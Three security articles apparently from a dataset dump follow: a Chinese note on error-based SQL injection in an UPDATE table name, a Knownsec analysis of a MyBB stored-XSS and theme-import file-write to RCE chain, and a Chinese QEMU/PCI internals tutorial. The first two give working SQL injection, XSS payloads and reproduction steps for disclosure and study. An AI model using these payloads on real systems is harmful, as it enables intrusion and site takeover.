text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
昨天在小密圈看到ph师傅发了一段code，当时想的是利用join方法去进行报错注入，结果晚上一看，乐师傅已经解决了QAQ(膜，自己也写一下关于这段code的分析:
code区域:
<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');
$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
SET `username`='admin'
WHERE id=1";
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);
我们要注意的点是两个:
1---$_GET['table']在拼接进sql语句前会经过addslashes的处理
也就是对于下列预定义字符是会添加\：
单引号（'）
双引号（"）
反斜杠（\）
NULL
2---update的话，进行报错注入是最为靠谱的
在mysql控制台进行测试:
mysql> UPDATE `mytable` join (select updatexml(1,concat(0x23,user()),1))b SET `username`='admin' WHERE sex=1;
ERROR 1105 (HY000): XPATH syntax error: '#root@localhost'
但是这样显然是不行的，因为我们可控的在第一个``中，于是在后面再加入一个join操作就OK:
mysql> UPDATE `mytable` join (select updatexml(1,concat(0x23,user()),1))b join `mytable` `b` SET `username`='admin' WHERE sex=1;
ERROR 1105 (HY000): XPATH syntax error: '#root@localhost'
实际测试下: | 社区文章 |
**Author: LoRexxar'@Knownsec 404 Team**
**Chinese Version:<https://paper.seebug.org/949/>**
On June 11th, the RIPS team released the article [MyBB <= 1.8.20: From Stored
XSS to RCE](https://blog.ripstech.com/2019/mybb-stored-xss-to-rce/), which
mainly discussed a Stored XSS and a file upload vulnerability in MyBB <=18.20.
In fact, this vulnerability chain only depends on normal user auth, which
sounds like a good vulnerability, but whether it is triggered by private
messages or inserted into blog, it really needs the admin click. In addition
to the impact of the vulnerability, the vulnerability point is unexpectedly
delicate. Let's talk about it in detail.
# Vulnerability Requirements
## Stored XSS
* the normal user account which can send messages
* server with video parse open
* <=18.20
### RCE in Admin panel via File Write
* the admin auth account
* <=18.20
# Vulnerability Analysis
The original ariticle gives explanations by constructing multiple
vulnerabilities into one exploit chain, but for analysis, we can just talk
about these two separate vulnerabilities: the Stored XSS and Backend Arbitrary
File Upload Vulnerability.
## Stored XSS
In MyBB and most CMS in the forums, whether it is an article or comment or
anything else, the users need to insert images、links、videos、etc. into the
content, and most of them will use a special markup language just like BBCode.
when users insert `[url]`、`[img]` into the content, the backend will convert
them into corresponding `<a>`、`<img>`when saving or parsing articles, and it
will parse and process the content and tags in a pre-defined way, which is
called the whitelist defense, just like BBCode.
As a result, it is very difficult for an attacker to construct Stored XSS,
because except for these tags, the others will not be parsed(when left and
right angle brackets and double quotes will be filtered).
function htmlspecialchars_uni($message)
{
$message = preg_replace("#&(?!\#[0-9]+;)#si", "&", $message); // Fix & but allow unicode
$message = str_replace("<", "<", $message);
$message = str_replace(">", ">", $message);
$message = str_replace("\"", """, $message);
return $message;
}
No matter how safe the mechanaism itself is, there are always vulnerabilities.
Let's reorganize the processing in Mybb.
in`/inc/class_parse.php` line 435, function `parse_mycode` is mainly
responsible for dealing with this problem.
function parse_mycode($message, $options=array())
{
global $lang, $mybb;
if(empty($this->options))
{
$this->options = $options;
}
// Cache the MyCode globally if needed.
if($this->mycode_cache == 0)
{
$this->cache_mycode();
}
// Parse quotes first
$message = $this->mycode_parse_quotes($message);
// Convert images when allowed.
if(!empty($this->options['allow_imgcode']))
{
$message = preg_replace_callback("#\[img\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback1'), $message);
$message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback2'), $message);
$message = preg_replace_callback("#\[img align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback3'), $message);
$message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*) align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_callback4'), $message);
}
else
{
$message = preg_replace_callback("#\[img\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback1'), $message);
$message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback2'), $message);
$message = preg_replace_callback("#\[img align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback3'), $message);
$message = preg_replace_callback("#\[img=([1-9][0-9]*)x([1-9][0-9]*) align=(left|right)\](\r\n?|\n?)(https?://([^<>\"']+?))\[/img\]#is", array($this, 'mycode_parse_img_disabled_callback4'), $message);
}
// Convert videos when allow.
if(!empty($this->options['allow_videocode']))
{
$message = preg_replace_callback("#\[video=(.*?)\](.*?)\[/video\]#i", array($this, 'mycode_parse_video_callback'), $message);
}
else
{
$message = preg_replace_callback("#\[video=(.*?)\](.*?)\[/video\]#i", array($this, 'mycode_parse_video_disabled_callback'), $message);
}
$message = str_replace('$', '$', $message);
// Replace the rest
if($this->mycode_cache['standard_count'] > 0)
{
$message = preg_replace($this->mycode_cache['standard']['find'], $this->mycode_cache['standard']['replacement'], $message);
}
if($this->mycode_cache['callback_count'] > 0)
{
foreach($this->mycode_cache['callback'] as $replace)
{
$message = preg_replace_callback($replace['find'], $replace['replacement'], $message);
}
}
// Replace the nestable mycode's
if($this->mycode_cache['nestable_count'] > 0)
{
foreach($this->mycode_cache['nestable'] as $mycode)
{
while(preg_match($mycode['find'], $message))
{
$message = preg_replace($mycode['find'], $mycode['replacement'], $message);
}
}
}
// Reset list cache
if($mybb->settings['allowlistmycode'] == 1)
{
$this->list_elements = array();
$this->list_count = 0;
// Find all lists
$message = preg_replace_callback("#(\[list(=(a|A|i|I|1))?\]|\[/list\])#si", array($this, 'mycode_prepare_list'), $message);
// Replace all lists
for($i = $this->list_count; $i > 0; $i--)
{
// Ignores missing end tags
$message = preg_replace_callback("#\s?\[list(=(a|A|i|I|1))?&{$i}\](.*?)(\[/list&{$i}\]|$)(\r\n?|\n?)#si", array($this, 'mycode_parse_list_callback'), $message, 1);
}
}
$message = $this->mycode_auto_url($message);
return $message;
}
When the server gets contents which you request, it will firstly parse images
tag syntax like `[img]`, and then if the server sets
`$this->options['allow_videocode']` true(default True), it will parse video
tags like `[video]`, lastly the [list] tags. Starting from line 488, the
server will deal with tags such as `[url]`.
if($this->mycode_cache['callback_count'] > 0)
{
foreach($this->mycode_cache['callback'] as $replace)
{
$message = preg_replace_callback($replace['find'], $replace['replacement'], $message);
}
}
Let's simplify the above process. Suppose we request the content as follows:
[video=youtube]youtube.com/test[/video][url]test.com[/url]
The backend will firstly convert `[video]`, and then the content becomes:
<iframe src="youtube.com/test">[url]test.com[/url]
Then the backend will convert `[url]`，and finally the content is:
<iframe src="youtube.com/test"><a href="test.com"></a>
It seems to be no problems, every tag content will be spliced into the
attributes of the tags, and will be processed by `htmlspecialchars_uni`.
But what if we request the content as follows?
[video=youtube]http://test/test#[url]onload=alert();//[/url]&1=1[/video]
Firstly we follow into`/inc/class_parse.php line 1385 mycode_parse_video`.
The link will be splited by function `parse_url` as follows:
array (size=4)
'scheme' => string 'http' (length=4)
'host' => string 'test' (length=4)
'path' => string '/test' (length=5)
'fragment' => string '[url]onmousemove=alert();//[/url]&1=1' (length=41)
In line 1420, each parameter will be processed accourdingly. Since we must
keep `=` and `/`, we choose to put the content after `#`.
In line 1501 case youtube, the fragment is spliced into id.
case "youtube":
if($fragments[0])
{
$id = str_replace('!v=', '', $fragments[0]); // http://www.youtube.com/watch#!v=fds123
}
elseif($input['v'])
{
$id = $input['v']; // http://www.youtube.com/watch?v=fds123
}
else
{
$id = $path[1]; // http://www.youtu.be/fds123
}
break;
Finally the parameter id will be filtered by function `htmlspecialchars_uni`,
and then generates the template.
$id = htmlspecialchars_uni($id);
eval("\$video_code = \"".$templates->get("video_{$video}_embed", 1, 0)."\";");
return $video_code;
Of course it does not affect our content above, and at present our content is:
<iframe width="560" height="315" src="//www.youtube.com/embed/[url]onload=alert();//[/url]" frameborder="0" allowfullscreen></iframe>
After the processing of `[url]`, the above content becomes:
<iframe width="560" height="315" src="//www.youtube.com/embed/<a href="http://onload=alert();//" target="_blank" rel="noopener" class="mycode_url">http://onload=alert();//</a>" frameborder="0" allowfullscreen></iframe>
Let's make it simpler, the link
[video=youtube]http://test/test#[url]onload=alert();//[/url]&1=1[/video]
becomes:
<iframe src="//www.youtube.com/embed/<a href="http://onload=alert();//"..."></iframe>
Because the href attribute we set in iframe tag has been converted into `<a
href="http://onload=alert();//">`, and the double quote for a href attribute
is closed by that in tag a, the content of a href attribute in tag a becomes
the real attribute of iframe tag, and the onload is effective now.
Finally, the browser will do a simple parsing and spliting, and generates the
tag.
### RCE in Admin panel via File Write
In the backend of Mybb, the admin can customize the templates and themes of
CMS. In addition to the normal theme import, the admin can upload a XML file
to upload many other files, and the server will directly create the
corresponding css file. Of course, the server limits such admin's behavior,
and it requires the admin to create only files ending in `.css`.
/admin/inc/functions_themes.php line 264
function import_theme_xml($xml, $options=array())
{
...
foreach($theme['stylesheets']['stylesheet'] as $stylesheet)
{
if(substr($stylesheet['attributes']['name'], -4) != ".css")
{
continue;
}
...
It seems no problem, but what's special is that the filename is inserted into
DB when server gets request.
Let's firstly take a look at the database structure.
We find the type of name is varchar and there is only 30 bits.
When we upload a XML file like `tttttttttttttttttttttttttt.php.css`, the
filename will be inserted into DB, with only the first 30 bits retained--`tttttttttttttttttttttttttt.php`.
<?xml version="1.0" encoding="UTF-8"?>
<theme>
<stylesheets>
<stylesheet name="tttttttttttttttttttttttttt.php.css">
test
</stylesheet>
</stylesheets>
</theme>
And then we need a feature to get the name from DB and create file.
In `/admin/modules/style/themes.php line 1252`, this parameter is extracted
from DB.
The `theme_stylesheet['name']` is as the key of dictionary.
when it is `$mybb->input['do'] == "save_orders"`, the current theme will be
changed.
Having saved the orders, the server will check all files' status. If it does
not exist, the server will create a file and rewrite the content.
# Vulnerability Reproduction
## Store XSS
Find an arbitrary feature such as sendind private messages or new blogs.
Send the following messages:
[video=youtube]http://test/test#[url]onload=alert();//[/url]&amp;1=1[/video]
And read it.
### RCE in Admin panel via File Write
Find where to import the theme in backend.
Construct upload files: test.xml.
<?xml version="1.0" encoding="UTF-8"?>
<theme>
<stylesheets>
<stylesheet name="tttttttttttttttttttttttttt.php.css">
test
</stylesheet>
</stylesheets>
</theme>
We need allow "Ignore Version Compatibility".
Then find the new theme in Theme list.
Save it and request the filepath with tid.
# Patch
* <https://github.com/mybb/mybb/commit/44fc01f723b122be1bc8daaca324e29b690901d6>
## Store XSS
The link of iframe tag will be filtered by function `encode_url`, and the
`[url]` will not continue to be parsed.
### RCE in Admin panel via File Write
Before checking the suffix of the file name, the name willl be split.
# Conclusion
Aside from the actual exploits, what's more special of the vulnerability is
just its universality. BBCode is the solution for the current complex forum
environment. In fact, there may be many CMSs that ignores the same problems as
MyBB. When people think that they understand all the mechanisms of the
machines, they will naturally ignore the problems that have not yet been
discovered. In such case, the security problems has arisen.
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
最近开始研究qemu，想看看qemu逃逸相关的知识，看了一些资料，学习pwn qemu首先要对qemu的一些基础知识有一定的掌握。
qemu 是纯软件实现的虚拟化模拟器，几乎可以模拟任何硬件设备。当然虚拟化因为性能的原因是无法直接代替硬件的，到那时它对于实验以及测试是非常方便的。
目前qemu出问题比较多的地方以及比赛中出题目的形式都在在设备模拟中，因此后续也会将关注点主要放在设备模拟上。
下一篇将主要是Blizzard CTF 2017
Strng的题解，所以本次的基础知识以该题[代码](https://github.com/rcvalle/blizzardctf2017/blob/master/strng.c)以及qemu源码为例进行解释。
## qemu概述
运行的每个qemu虚拟机都相应的是一个qemu进程，从本质上看，虚拟出的每个虚拟机对应 host 上的一个 qemu 进程，而虚拟机的执行线程（如 CPU
线程、I/O 线程等）对应 qemu 进程的一个线程。
其次我们需要知道的是，虚拟机所对应的内存结构。根据文章[VM escape-QEMU Case
Study](http://www.phrack.org/papers/vm-escape-qemu-case-study.html)，qemu虚拟机内存所对应的真实内存结构如下：
Guest' processes
+--------------------+
Virtual addr space | |
+--------------------+
| |
\__ Page Table \__
\ \
| | Guest kernel
+----+--------------------+----------------+
Guest's phy. memory | | | |
+----+--------------------+----------------+
| |
\__ \__
\ \
| QEMU process |
+----+------------------------------------------+
Virtual addr space | | |
+----+------------------------------------------+
| |
\__ Page Table \__
\ \
| |
+----+-----------------------------------------------++
Physical memory | | ||
+----+-----------------------------------------------++
qemu进行会为虚拟机mmap分配出相应虚拟机申请大小的内存，用于给该虚拟机当作物理内存（在虚拟机进程中只会看到虚拟地址）。
如strng启动的命令为：
./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22
qemu虚拟机对应的内存为1G，虚拟机启动后查看qemu的地址空间，可以看到存在一个大小为`0x40000000`内存空间，即为该虚拟机的物理内存。
0x7fe37fafe000 0x7fe37fbfe000 rw-p 100000 0
0x7fe37fbfe000 0x7fe37fbff000 ---p 1000 0
0x7fe37fbff000 0x7fe37fcff000 rw-p 100000 0
0x7fe37fcff000 0x7fe37fd00000 ---p 1000 0
0x7fe37fd00000 0x7fe37fe00000 rw-p 100000 0
0x7fe37fe00000 0x7fe3bfe00000 rw-p 40000000 0 //虚拟机对应的内存
如果我们在qemu虚拟机中申请一段内存空间，该如何才能在宿主机中找到该内存呢？
首先将qemu虚拟机中相应的虚拟地址转化成物理地址，该物理地址即为qemu进程为其分配出来的相应偏移，利用该地址加上偏移即是该虚拟地址对应在宿主机中的地址。
仍然是在strng虚拟机中，运行以下程序：
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
int fd;
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
int main()
{
uint8_t *ptr;
uint64_t ptr_mem;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
ptr = malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
getchar();
return 0;
}
其中gva_to_gpa即是虚拟地址转化为相应的物理地址的函数，具体原理可以去搜索地址转化去了解。
由于strng虚拟机为32位的，所以编译的命令为：
gcc -m32 -O0 mmu.c -o mmu
使用命令`scp -P5555 mmu [email protected]:/home/ubuntu`将其传至虚拟机中，最后运行得到结果：
ubuntu@ubuntu:~$ sudo ./mmu
Where am I?
Your physical address is at 0x33cd6008
从上面我们知道了虚拟机对应的内存地址在qemu进程中的地址为`0x7fe37fe00000`到`0x7fe3bfe00000`，因此相应的字符串地址为`0x7fe37fe00000+0x33cd6008`，在gdb中进行验证，成功看到相应的字符串：
pwndbg> x/s 0x7fe37fe00000+0x33cd6008
0x7fe3b3ad6008: "Where am I?"
## pci设备地址空间
PCI设备都有一个配置空间（PCI Configuration
Space），其记录了关于此设备的详细信息。大小为256字节，其中头部64字节是PCI标准规定的，当然并非所有的项都必须填充，位置是固定了，没有用到可以填充0。前16个字节的格式是一定的，包含头部的类型、设备的总类、设备的性质以及制造商等，格式如下：
比较关键的是其6个BAR(Base Address Registers)，BAR记录了设备所需要的地址空间的类型，基址以及其他属性。BAR的格式如下：
设备可以申请两类地址空间，memory space和I/O space，它们用BAR的最后一位区别开来。
当BAR最后一位为0表示这是映射的I/O内存，为1是表示这是I/O端口，当是I/O内存的时候1-2位表示内存的类型，bit
2为1表示采用64位地址，为0表示采用32位地址。bit1为1表示区间大小超过1M，为0表示不超过1M。bit3表示是否支持可预取。
而相对于I/O内存，当最后一位为1时表示映射的I/O端口。I/O端口一般不支持预取，所以这里是29位的地址。
通过memory space访问设备I/O的方式称为memory mapped
I/O，即MMIO，这种情况下，CPU直接使用普通访存指令即可访问设备I/O。
通过I/O space访问设备I/O的方式称为port I/O，或者port mapped
I/O，这种情况下CPU需要使用专门的I/O指令如`IN/OUT`访问I/O端口。
关于MMIO和PMIO，维基百科的描述是：
Memory-mapped I/O (MMIO) and port-mapped I/O (PMIO) (which is also called
isolated I/O) are two complementary methods of performing input/output (I/O)
between the central processing unit (CPU) and peripheral devices in a computer.
An alternative approach is using dedicated I/O processors, commonly known as
channels on mainframe computers, which execute their own instructions.
在MMIO中，内存和I/O设备共享同一个地址空间。
MMIO是应用得最为广泛的一种I/O方法，它使用相同的地址总线来处理内存和I/O设备，I/O设备的内存和寄存器被映射到与之相关联的地址。当CPU访问某个内存地址时，它可能是物理内存，也可以是某个I/O设备的内存，用于访问内存的CPU指令也可来访问I/O设备。每个I/O设备监视CPU的地址总线，一旦CPU访问分配给它的地址，它就做出响应，将数据总线连接到需要访问的设备硬件寄存器。为了容纳I/O设备，CPU必须预留给I/O一个地址区域，该地址区域不能给物理内存使用。
在PMIO中，内存和I/O设备有各自的地址空间。
端口映射I/O通常使用一种特殊的CPU指令，专门执行I/O操作。在Intel的微处理器中，使用的指令是IN和OUT。这些指令可以读/写1,2,4个字节（例如：`outb`,
`outw`,
`outl`）到IO设备上。I/O设备有一个与内存不同的地址空间，为了实现地址空间的隔离，要么在CPU物理接口上增加一个I/O引脚，要么增加一条专用的I/O总线。由于I/O地址空间与内存地址空间是隔离的，所以有时将PMIO称为被隔离的IO(Isolated
I/O)。
### qemu中查看pci设备
下面通过在qemu虚拟机中查看pci设备来进一步增进理解，仍然是基于strng这道题的qemu虚拟机。
`lspci`命令用于显示当前主机的所有PCI总线信息，以及所有已连接的PCI设备信息。
pci设备的寻址是由总线、设备以及功能构成。如下所示：
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)
`xx:yy:z`的格式为`总线:设备:功能`的格式。
可以使用lspci命令以树状的形式输出pci结构：
ubuntu@ubuntu:~$ lspci -t -v
-[0000:00]-+-00.0 Intel Corporation 440FX - 82441FX PMC [Natoma]
+-01.0 Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
+-01.1 Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
+-01.3 Intel Corporation 82371AB/EB/MB PIIX4 ACPI
+-02.0 Device 1234:1111
+-03.0 Device 1234:11e9
\-04.0 Intel Corporation 82540EM Gigabit Ethernet Controller
其中`[0000]`表示pci的域， PCI域最多可以承载256条总线。 每条总线最多可以有32个设备，每个设备最多可以有8个功能。
总之每个 PCI 设备有一个总线号, 一个设备号, 一个功能号标识。PCI 规范允许单个系统占用多达 256 个总线, 但是因为 256
个总线对许多大系统是不够的, Linux 现在支持 PCI 域。每个 PCI 域可以占用多达 256 个总线. 每个总线占用 32 个设备, 每个设备可以是
一个多功能卡(例如一个声音设备, 带有一个附加的 CD-ROM 驱动)有最多 8 个功能。
PCI 设备通过`VendorIDs`、`DeviceIDs`、以及`Class Codes`字段区分：
ubuntu@ubuntu:~$ lspci -v -m -n -s 00:03.0
Device: 00:03.0
Class: 00ff
Vendor: 1234
Device: 11e9
SVendor: 1af4
SDevice: 1100
PhySlot: 3
Rev: 10
ubuntu@ubuntu:~$ lspci -v -m -s 00:03.0
Device: 00:03.0
Class: Unclassified device [00ff]
Vendor: Vendor 1234
Device: Device 11e9
SVendor: Red Hat, Inc
SDevice: Device 1100
PhySlot: 3
Rev: 10
也可通过查看其`config`文件来查看设备的配置空间，数据都可以匹配上，如前两个字节`1234`为`vendor id`：
ubuntu@ubuntu:~$ hexdump /sys/devices/pci0000\:00/0000\:00\:03.0/config
0000000 1234 11e9 0103 0000 0010 00ff 0000 0000
0000010 1000 febf c051 0000 0000 0000 0000 0000
0000020 0000 0000 0000 0000 0000 0000 1af4 1100
0000030 0000 0000 0000 0000 0000 0000 0000 0000
查看设备内存空间：
ubuntu@ubuntu:~$ lspci -v -s 00:03.0 -x
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
Subsystem: Red Hat, Inc Device 1100
Physical Slot: 3
Flags: fast devsel
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
I/O ports at c050 [size=8]
00: 34 12 e9 11 03 01 00 00 10 00 ff 00 00 00 00 00
10: 00 10 bf fe 51 c0 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11
30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
可以看到该设备有两个空间：BAR0为MMIO空间，地址为`febf1000`，大小为256；BAR1为PMIO空间，端口地址为`0xc050`，大小为8。
可以通过查看`resource`文件来查看其相应的内存空间：
ubuntu@ubuntu:~$ ls -la /sys/devices/pci0000\:00/0000\:00\:03.0/
...
-r--r--r-- 1 root root 4096 Aug 1 03:40 resource
-rw------- 1 root root 256 Jul 31 13:18 resource0
-rw------- 1 root root 8 Aug 1 04:01 resource1
...
`resource`文件包含其它相应空间的数据，如resource0（MMIO空间）以及resource1（PMIO空间）：
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
每行分别表示相应空间的起始地址（start-address）、结束地址（end-address）以及标识位（flags）。
### qemu中访问I/O空间
存在mmio与pmio，那么在系统中该如何访问这两个空间呢？访问mmio与pmio都可以采用在内核态访问或在用户空间编程进行访问。
#### 访问mmio
编译内核模块，在内核态访问mmio空间，示例代码如下：
#include <asm/io.h>
#include <linux/ioport.h>
long addr=ioremap(ioaddr,iomemsize);
readb(addr);
readw(addr);
readl(addr);
readq(addr);//qwords=8 btyes
writeb(val,addr);
writew(val,addr);
writel(val,addr);
writeq(val,addr);
iounmap(addr);
还有一种方式是在用户态访问mmio空间，通过映射`resource0`文件实现内存的访问，示例代码如下：
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
mmio_read(0x128);
mmio_write(0x128, 1337);
}
#### 访问pmio
编译内核模块，在内核空间访问pmio空间，示例代码如下：
#include <asm/io.h>
#include <linux/ioport.h>
inb(port); //读取一字节
inw(port); //读取两字节
inl(port); //读取四字节
outb(val,port); //写一字节
outw(val,port); //写两字节
outl(val,port); //写四字节
用户空间访问则需要先调用`iopl`函数申请访问端口，示例代码如下：
#include <sys/io.h >
iopl(3);
inb(port);
inw(port);
inl(port);
outb(val,port);
outw(val,port);
outl(val,port);
## QOM编程模型
QEMU提供了一套面向对象编程的模型——QOM（QEMU Object
Module），几乎所有的设备如CPU、内存、总线等都是利用这一面向对象的模型来实现的。
由于qemu模拟设备以及CPU等，既有相应的共性又有自己的特性，因此使用面向对象来实现相应的程序是非常高效的，可以像理解C++或其它面向对象语言来理解QOM。
有几个比较关键的结构体，`TypeInfo`、`TypeImpl`、`ObjectClass`以及`Object`。其中ObjectClass、Object、TypeInfo定义在include/qom/object.h中，TypeImpl定义在qom/object.c中。
`TypeInfo`是用户用来定义一个Type的数据结构，用户定义了一个TypeInfo，然后调用`type_register(TypeInfo
)`或者`type_register_static(TypeInfo
)`函数，就会生成相应的`TypeImpl`实例，将这个`TypeInfo`注册到全局的`TypeImpl`的`hash`表中。
struct TypeInfo
{
const char *name;
const char *parent;
size_t instance_size;
void (*instance_init)(Object *obj);
void (*instance_post_init)(Object *obj);
void (*instance_finalize)(Object *obj);
bool abstract;
size_t class_size;
void (*class_init)(ObjectClass *klass, void *data);
void (*class_base_init)(ObjectClass *klass, void *data);
void (*class_finalize)(ObjectClass *klass, void *data);
void *class_data;
InterfaceInfo *interfaces;
};
`TypeImpl`的属性与`TypeInfo`的属性对应，实际上qemu就是通过用户提供的TypeInfo创建的TypeImpl的对象。
如下面定义的`pci_test_dev`：
static const TypeInfo pci_testdev_info = {
.name = TYPE_PCI_TEST_DEV,
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(PCITestDevState),
.class_init = pci_testdev_class_init,
};
TypeImpl *type_register_static(const TypeInfo *info)
{
return type_register(info);
}
TypeImpl *type_register(const TypeInfo *info)
{
assert(info->parent);
return type_register_internal(info);
}
static TypeImpl *type_register_internal(const TypeInfo *info)
{
TypeImpl *ti;
ti = type_new(info);
type_table_add(ti);
return ti;
}
当所有qemu总线、设备等的`type_register_static`执行完成后，即它们的`TypeImpl`实例创建成功后，qemu就会在`type_initialize`函数中去实例化其对应的`ObjectClasses`。
每个`type`都有一个相应的`ObjectClass`所对应，其中ObjectClass是所有类的基类
struct ObjectClass
{
/*< private >*/
Type type;
GSList *interfaces;
const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE];
const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE];
ObjectUnparent *unparent;
GHashTable *properties;
};
用户可以定义自己的类，继承相应类即可：
/* include/qom/object.h */
typedef struct TypeImpl *Type;
typedef struct ObjectClass ObjectClass;
struct ObjectClass
{
/*< private >*/
Type type; /* points to the current Type's instance */
...
/* include/hw/qdev-core.h */
typedef struct DeviceClass {
/*< private >*/
ObjectClass parent_class;
/*< public >*/
...
/* include/hw/pci/pci.h */
typedef struct PCIDeviceClass {
DeviceClass parent_class;
...
可以看到类的定义中父类都在第一个字段，使得可以父类与子类直接实现转换。一个类初始化时会先初始化它的父类，父类初始化完成后，会将相应的字段拷贝至子类同时将子类其余字段赋值为0，再进一步赋值。同时也会继承父类相应的虚函数指针，当所有的父类都初始化结束后，`TypeInfo::class_init`就会调用以实现虚函数的初始化，如下例的`pci_testdev_class_init`所示：
static void pci_testdev_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);
PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);
k->init = pci_testdev_init;
k->exit = pci_testdev_uninit;
...
dc->desc = "PCI Test Device";
...
}
最后一个是`Object`对象：
struct Object
{
/*< private >*/
ObjectClass *class;
ObjectFree *free;
GHashTable *properties;
uint32_t ref;
Object *parent;
};
